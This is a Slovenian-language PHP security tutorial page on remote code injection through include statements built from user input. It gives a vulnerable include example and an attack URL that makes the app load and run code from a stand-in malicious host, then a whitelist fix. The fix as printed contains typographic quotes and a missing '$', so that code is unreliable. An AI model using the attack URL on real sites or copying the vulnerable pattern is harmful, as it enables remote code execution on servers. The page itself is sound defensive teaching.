Domov arrow 6. VARNOST arrow 6.6 Varnost datotečnega sistema arrow 6.6.1 Vbrizg oddaljene kode (ang. remote code injection)


6.6.1 Vbrizg oddaljene kode (ang. remote code injection) Natisni E-pošta
Pri vključevanju datotek s funkcijama include in require, moraš biti pozoren kadar uporabljaš morebitno okužene podatke za ustvarjanje dinamične vključitve temelječe na uporabnikovem vnosu. V nasprotnem primeru lahko omogočiš hekerju, da izvrši vbrizg oddaljene kode. Vbrizg oddaljene kode se zgodi, ko je napadalec zmožen doseči, da tvoja aplikacija izvede PHP kodo po njegovih željah.
Naprimer veliko aplikacij uporablja spremenljivke poizvedbenega niza za razdelitev aplikacije v sekcije kot npr. http://primer.org/?sekcija=novice. Aplikacija lahko uporabi stavek include za vključevanje skripte, ki prikazuje sekcijo novice:

include "{$_GET[’sekcija’]}/podatki.inc.php";

Pri uporabi pravilnega URL-ja za dostop do sestavnega dela, skripta vključi datoteko, ki se nahaja na mestu novice/podatki.inc.php. Lahko pa napadalec spremeni poizvedbeni niz tako, da vključi škodljivo kodo, ki se nahaja na oddaljeni strani:

http://primer.org/?sekcija=http%3A%2F%2Fskodljiv.primer.si%2Fnapad.inc%3F

Okužena vrednost za vrednost sekcija je vbrizgana v include stavek.  Poizvedbeni niz se pretvori v:

include " http://skodljiv.primer.si/napad.inc?/podatki.inc.php";

Aplikacija bo vključila napad.inc, ki se nahaja na oddaljenem strežniku, ki jemlje /podatki.inc.php kot del poizvedbenega niza (in tako nevtralizira njegov efekt). Koda na strani napad.inc se bo izvedla in povzročila, kar je napadalec želel storiti.
Temu se izognemo s presejanjem in s tem, da nikoli ne uporabimo okuženih podatkov v include in require stavkih. Predvidevamo določen skupek vrednosti za sekcije:

$cisto = array();
$sekcije = array('domov', 'novice', 'slike', 'blog');
if (in_array($_GET[’sekcija’], $sekcije))
{
    $cisto[’sekcija’] = $_GET['sekcija’];
}
else
{
    $cisto[’sekcija’] = 'domov';
}
include "{cisto[’sekcija’]}/data.inc.php";
 


© 2007-2008 PHP, MySQL, XML, OOP, varnost